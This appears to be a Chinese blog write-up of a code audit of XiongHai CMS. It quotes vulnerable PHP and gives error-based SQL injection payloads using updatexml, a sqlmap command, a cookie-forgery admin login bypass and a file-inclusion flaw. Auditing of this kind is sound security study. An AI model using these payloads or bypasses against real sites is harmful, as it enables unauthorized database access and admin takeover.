熊海cms代码审计

发布于:2025-04-18 ⋅ 阅读:(15) ⋅ 点赞:(0)

目录

sql注入

1. admin/files/login.php

2.  admin/files/columnlist.php

3.  admin/files/editcolumn.php

4.  admin/files/editlink.php

5.  admin/files/editsoft.php

6.  admin/files/editwz.php

7.  admin/files/linklist.php

8.  files/software.php

9.   files/content.php

cookie伪造

文件包含


sql注入

1. admin/files/login.php
$user=$_POST['user'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

变量user可控并被带到sql语句中执行

有单引号,需要闭合

使用了mysql_error函数,使用报错注入

步骤:

burp抓包,发送到repeater

payload: admin' and updatexml(1,concat(0x7e,(select user())),1)--+

2.  admin/files/columnlist.php
$delete=$_GET['delete'];

$delete2=$_GET['delete2'];

if ($delete<>""){
$query = "DELETE FROM nav WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

if ($delete2<>""){
$query = "DELETE FROM navclass WHERE id='$delete2'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

变量delete和delete2可控,并被带到sql语句中执行,字符型,使用报错注入

步骤:

把数据包保存成test.txt  python sqlmap.py -r test.txt

3.  admin/files/editcolumn.php
$id=$_GET['id'];
$type=$_GET['type'];

if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());

要添加变量type=1才会执行SQL语句

payload:

1'+or+updatexml(1,concat(0x7e,(select+user()),0x7e),1)+or+'

editcolumn.php里面不止这里有sql注入,其他执行sql语句的地方也有注入

4.  admin/files/editlink.php
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());

都是可控的,存在注入

5.  admin/files/editsoft.php
$id=$_GET['id'];
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());

存在注入

6.  admin/files/editwz.php

7.  admin/files/linklist.php

8.  files/software.php

第二个sql语句存在注入,addslashes函数对于数字型过滤无效

9.   files/content.php

和8同理

cookie伪造

inc/checklogin.php

变量user为空就退出,让变量user有值就能绕过鉴权了

访问http://IP:port/admin/?r=index

就能不用密码登录后台了

文件包含

index.php

$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件

变量action可控,并被include函数包含

在根目录放一个phpinfo


网站公告

今日签到

点亮在社区的每一天
去签到